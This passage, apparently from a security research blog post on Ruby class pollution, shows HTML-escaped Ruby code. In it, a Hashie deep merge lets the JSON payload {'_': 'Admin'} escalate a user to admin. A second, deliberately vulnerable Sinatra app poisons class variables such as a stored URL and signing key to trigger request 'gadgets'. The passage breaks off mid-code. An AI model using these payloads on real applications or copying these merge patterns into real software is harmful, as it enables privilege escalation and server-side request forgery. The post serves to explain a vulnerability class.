    &lt;span class=&quot;s2&quot;&gt;&quot;User&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;JSONMergerApp&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;additional_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Instantiate a regular user&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;John Doe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;occupation&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Engineer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;location&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;city&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Madrid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;country&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Spain&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Perform a deep merge, which could override methods&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;additional_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# Authorize the user (privilege escalation vulnerability)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Exploit: If we pass {&quot;_&quot;: &quot;Admin&quot;} in the JSON, the user will be treated as an admin.&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Example usage: ruby hashie.rb '{&quot;_&quot;: &quot;Admin&quot;, &quot;name&quot;:&quot;Jane Doe&quot;,&quot;details&quot;:{&quot;location&quot;:{&quot;city&quot;:&quot;Barcelona&quot;}}}'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;authorize&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Usage: ruby hashie.rb 'JSON_STRING'&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ARGV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;no&quot;&gt;JSONMergerApp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the provided code, we are exploiting Hashie’s handling of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; to manipulate the behavior of the authorization process. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_.to_s&lt;/code&gt; is called, instead of returning the method-defined value, it accesses a newly created &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object, where we can inject the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Admin&quot;&lt;/code&gt;. This allows an attacker to bypass method-based authorization checks by injecting data into the temporary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object.&lt;/p&gt;

&lt;p&gt;For example, the JSON payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{&quot;_&quot;: &quot;Admin&quot;}&lt;/code&gt; injects the string “Admin” into the temporary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mash&lt;/code&gt; object created by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, allowing the user to be granted admin access through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;authorize&lt;/code&gt; method even though the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to_s&lt;/code&gt; method itself hasn’t been directly overridden.&lt;/p&gt;

&lt;p&gt;This vulnerability highlights how certain features of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hashie&lt;/code&gt; library can be leveraged to bypass application logic, even with protections in place to prevent method overrides.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/hashie-class-pollution.png&quot; alt=&quot;Hashie Support Class Pollution&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;escaping-the-object-to-poison-the-class&quot;&gt;Escaping the Object to Poison the Class&lt;/h2&gt;

&lt;p&gt;When the merge operation is recursive and targets attributes, it’s possible to escape the object context and poison attributes or methods of the class, its parent class, or even other unrelated classes. This kind of pollution affects the entire application context and can lead to severe vulnerabilities.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'json'&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'sinatra/base'&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'net/http'&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# Base class for both Admin and Regular users&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;vc&quot;&gt;@@url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://default-url.com&quot;&lt;/span&gt;

  &lt;span class=&quot;nb&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:details&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:)&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@age&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@details&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;url&lt;/span&gt;
    &lt;span class=&quot;vc&quot;&gt;@@url&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Method to merge additional data into the object&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;kp&quot;&gt;private&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# Recursive merge to modify instance variables&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;additional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;each&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;is_a?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;respond_to?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;next_obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;public_send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;recursive_merge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;new_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;singleton_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;instance_variable_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;@&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;current_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;singleton_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;attr_accessor&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;original&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;age&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;details&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# A class created to simulate signing with a key, to be infected with the third gadget&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;KeySigner&lt;/span&gt;
  &lt;span class=&quot;vc&quot;&gt;@@signing_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;default-signing-key&quot;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;signing_key&lt;/span&gt;
    &lt;span class=&quot;vc&quot;&gt;@@signing_key&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signing_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-signed-with-&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;#{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;signing_key&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;JSONMergerApp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Sinatra&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Base&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# POST /merge - Infects class variables using JSON input&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;post&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/merge'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:json&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;name: &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;John Doe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;age: &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;ss&quot;&gt;details: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;occupation&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Engineer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;location&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;city&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Madrid&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s2&quot;&gt;&quot;country&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Spain&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;merge_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json_input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;status: &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'merged'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_json&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;# GET /launch-curl-command - Activates the first gadget&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/launch-curl-command'&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;content_type&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:json&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;# This gadget makes an HTTP request to the URL stored in the User class&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;respond_to?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Person&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;url&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Net&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;URI&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
